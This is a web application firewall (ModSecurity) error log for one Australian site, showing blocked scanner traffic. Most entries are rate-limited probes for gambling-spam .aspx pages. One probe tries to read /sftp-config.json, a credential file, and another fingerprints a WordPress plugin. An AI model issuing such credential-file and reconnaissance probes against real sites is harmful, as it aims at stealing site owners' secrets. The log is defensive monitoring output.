[Wed Feb 18 21:06:47.533051 2026] [:error] [pid 11607:tid 11631] [client 147.135.214.239:34874] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZW5Zxw91ggRx3FA7BfwzAAAAlA"]
[Wed Feb 18 21:06:50.241920 2026] [:error] [pid 11610:tid 11673] [client 147.135.214.239:34876] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZW5arWMUt4MNfN7mx3WMwAAAsI"]
[Wed Feb 18 22:26:50.970094 2026] [:error] [pid 11611:tid 11722] [client 43.157.172.39:56610] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZXMKu2m6IPN_aBZuKaAogAAAxg"]
[Thu Feb 19 02:16:39.729927 2026] [:error] [pid 11607:tid 11623] [client 103.65.236.149:64452] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aZYCBxw91ggRx3FA7BcxFAAAAkg"]
[Thu Feb 19 04:08:27.892445 2026] [:error] [pid 48901:tid 48933] [client 51.83.9.109:37558] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZYcO8ixYz-lHbN0WBKljwAAABc"]
[Thu Feb 19 04:08:30.491263 2026] [:error] [pid 15513:tid 15524] [client 51.83.9.109:59648] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZYcPsGTRTE022JWg19z9AAAAQk"]
[Thu Feb 19 04:08:32.851105 2026] [:error] [pid 48903:tid 48972] [client 51.83.9.109:50700] [client 51.83.9.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZYcQI6aTgKrpAR115vnBgAAAIc"]
[Thu Feb 19 05:08:38.403349 2026] [:error] [pid 15513:tid 15527] [client 43.166.244.66:55676] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZYqVsGTRTE022JWg1-MZgAAAQw"]
[Thu Feb 19 10:13:45.703987 2026] [:error] [pid 48903:tid 48981] [client 136.248.244.164:46890] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZZx2Y6aTgKrpAR115thcgAAAJA"]
[Thu Feb 19 10:13:59.788261 2026] [:error] [pid 48901:tid 48912] [client 136.248.244.164:40348] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZZx58ixYz-lHbN0WBIXaQAAAAI"]
[Thu Feb 19 10:14:04.626486 2026] [:error] [pid 49002:tid 49030] [client 136.248.244.164:59052] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZZx7FfcBtQ6hSJuEQnrNQAAANA"]
[Thu Feb 19 10:14:10.524658 2026] [:error] [pid 49002:tid 49017] [client 136.248.244.164:33024] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZZx8lfcBtQ6hSJuEQnrVQAAAMM"]
[Thu Feb 19 10:14:14.371514 2026] [:error] [pid 48902:tid 48938] [client 136.248.244.164:33032] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZZx9mcJ-6aYRpRRFsWeOgAAAEA"]
[Thu Feb 19 10:14:20.285089 2026] [:error] [pid 24048:tid 24058] [client 136.248.244.164:49352] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZZx_Gug6wHHqU0QyDZOLwAAAUg"]
[Thu Feb 19 10:47:09.642345 2026] [:error] [pid 24048:tid 24059] [client 43.138.68.113:46972] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZZ5rWug6wHHqU0QyDZb3AAAAUk"]
[Thu Feb 19 11:24:05.420513 2026] [:error] [pid 24048:tid 24050] [client 43.155.129.131:34830] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZaCVWug6wHHqU0QyDZpAwAAAUA"]
[Thu Feb 19 14:31:45.196874 2026] [:error] [pid 48901:tid 48921] [client 157.230.43.38:49712] [client 157.230.43.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZauUcixYz-lHbN0WBJgTgAAAAs"]
[Thu Feb 19 14:53:46.476972 2026] [:error] [pid 48902:tid 48941] [client 147.135.128.94:55974] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZazemcJ-6aYRpRRFsXvOgAAAEM"]
[Thu Feb 19 14:53:48.831615 2026] [:error] [pid 24048:tid 24063] [client 147.135.128.94:51200] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZazfGug6wHHqU0QyDahPgAAAU0"]
[Thu Feb 19 14:53:51.256921 2026] [:error] [pid 48901:tid 48934] [client 147.135.128.94:51214] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZazf8ixYz-lHbN0WBJldgAAABg"]
[Thu Feb 19 14:53:53.841698 2026] [:error] [pid 48903:tid 48969] [client 147.135.128.94:51220] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZazgY6aTgKrpAR115ulNAAAAIQ"]
[Thu Feb 19 14:53:56.247407 2026] [:error] [pid 5548:tid 5565] [client 147.135.128.94:51236] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZazhJMpsAkdKxbTbsOBNAAAAY4"]
[Thu Feb 19 14:53:58.635465 2026] [:error] [pid 5581:tid 5623] [client 147.135.128.94:39992] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZazhnIfW0xlXmrVd3qJ6gAAAgw"]
[Thu Feb 19 14:54:01.025886 2026] [:error] [pid 48901:tid 48911] [client 147.135.128.94:40008] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZazicixYz-lHbN0WBJlfgAAAAE"]
[Thu Feb 19 14:54:03.427653 2026] [:error] [pid 15513:tid 15531] [client 147.135.128.94:40018] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZazi8GTRTE022JWg19wFgAAARA"]
[Thu Feb 19 14:54:05.978664 2026] [:error] [pid 5580:tid 5594] [client 147.135.128.94:40022] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZazjYV24kZpmf6nh3C_7gAAAco"]
[Thu Feb 19 14:54:08.366734 2026] [:error] [pid 5548:tid 5557] [client 147.135.128.94:51686] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZazkJMpsAkdKxbTbsOBOQAAAYY"]
[Thu Feb 19 14:54:10.750244 2026] [:error] [pid 48902:tid 48957] [client 147.135.128.94:51700] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZazkmcJ-6aYRpRRFsXvTwAAAFM"]
[Thu Feb 19 14:54:13.140023 2026] [:error] [pid 5581:tid 5619] [client 147.135.128.94:51708] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZazlXIfW0xlXmrVd3qJ9wAAAgg"]
[Thu Feb 19 14:54:15.541630 2026] [:error] [pid 48902:tid 48955] [client 147.135.128.94:51724] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZazl2cJ-6aYRpRRFsXvUgAAAFE"]
[Thu Feb 19 14:54:18.071073 2026] [:error] [pid 15513:tid 15535] [client 147.135.128.94:60666] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZazmsGTRTE022JWg19wIgAAARQ"]
[Thu Feb 19 14:54:20.471007 2026] [:error] [pid 15513:tid 15531] [client 147.135.128.94:60678] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZaznMGTRTE022JWg19wJQAAARA"]
[Thu Feb 19 14:54:23.001579 2026] [:error] [pid 15513:tid 15532] [client 147.135.128.94:60680] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZazn8GTRTE022JWg19wKwAAARE"]
[Thu Feb 19 14:54:25.382465 2026] [:error] [pid 48901:tid 48923] [client 147.135.128.94:60694] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZazocixYz-lHbN0WBJl1QAAAA0"]
[Thu Feb 19 14:54:27.750598 2026] [:error] [pid 5581:tid 5625] [client 147.135.128.94:36064] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZazo3IfW0xlXmrVd3qKAQAAAg4"]
[Thu Feb 19 14:54:30.301901 2026] [:error] [pid 49002:tid 49038] [client 147.135.128.94:36066] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZazplfcBtQ6hSJuEQkphAAAANg"]
[Thu Feb 19 14:54:32.689031 2026] [:error] [pid 49002:tid 49032] [client 147.135.128.94:36076] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZazqFfcBtQ6hSJuEQkpkAAAANI"]
[Thu Feb 19 14:54:35.095640 2026] [:error] [pid 5548:tid 5570] [client 147.135.128.94:36088] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZazq5MpsAkdKxbTbsOBbQAAAZM"]
[Thu Feb 19 14:54:37.482321 2026] [:error] [pid 48901:tid 48924] [client 147.135.128.94:36090] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZazrcixYz-lHbN0WBJl4gAAAA4"]
[Thu Feb 19 14:54:40.025601 2026] [:error] [pid 15513:tid 15527] [client 147.135.128.94:36440] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZazsMGTRTE022JWg19wQwAAAQw"]
[Thu Feb 19 14:54:42.406419 2026] [:error] [pid 48903:tid 48970] [client 147.135.128.94:36454] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZazso6aTgKrpAR115ulTwAAAIU"]
[Thu Feb 19 14:55:03.224519 2026] [:error] [pid 48902:tid 48944] [client 147.135.128.94:36470] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZazx2cJ-6aYRpRRFsXvhgAAAEY"]
[Thu Feb 19 14:55:05.540674 2026] [:error] [pid 24048:tid 24058] [client 147.135.128.94:36434] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZazyWug6wHHqU0QyDahxgAAAUg"]
[Thu Feb 19 14:55:08.059927 2026] [:error] [pid 48901:tid 48931] [client 147.135.128.94:50542] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZazzMixYz-lHbN0WBJl_QAAABU"]
[Thu Feb 19 14:55:10.439183 2026] [:error] [pid 5548:tid 5553] [client 147.135.128.94:50550] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZazzpMpsAkdKxbTbsOBiAAAAYI"]
[Thu Feb 19 14:55:12.947207 2026] [:error] [pid 48901:tid 48920] [client 147.135.128.94:50554] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZaz0MixYz-lHbN0WBJmAwAAAAo"]
[Thu Feb 19 14:55:15.482012 2026] [:error] [pid 5580:tid 5601] [client 147.135.128.94:50560] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZaz04V24kZpmf6nh3DAYAAAAdE"]
[Thu Feb 19 14:55:17.830821 2026] [:error] [pid 5580:tid 5585] [client 147.135.128.94:39272] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZaz1YV24kZpmf6nh3DAYwAAAcI"]
[Thu Feb 19 14:55:20.354741 2026] [:error] [pid 24048:tid 24059] [client 147.135.128.94:39280] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZaz2Gug6wHHqU0QyDah1wAAAUk"]
[Thu Feb 19 14:55:22.875996 2026] [:error] [pid 48902:tid 48944] [client 147.135.128.94:39288] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZaz2mcJ-6aYRpRRFsXvngAAAEY"]
[Thu Feb 19 14:55:25.253796 2026] [:error] [pid 48901:tid 48929] [client 147.135.128.94:39300] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZaz3cixYz-lHbN0WBJmEwAAABM"]
[Thu Feb 19 14:55:27.775613 2026] [:error] [pid 5581:tid 5628] [client 147.135.128.94:38656] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZaz33IfW0xlXmrVd3qKLgAAAhE"]
[Thu Feb 19 14:55:30.141635 2026] [:error] [pid 5580:tid 5602] [client 147.135.128.94:38658] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZaz4oV24kZpmf6nh3DAcgAAAdI"]
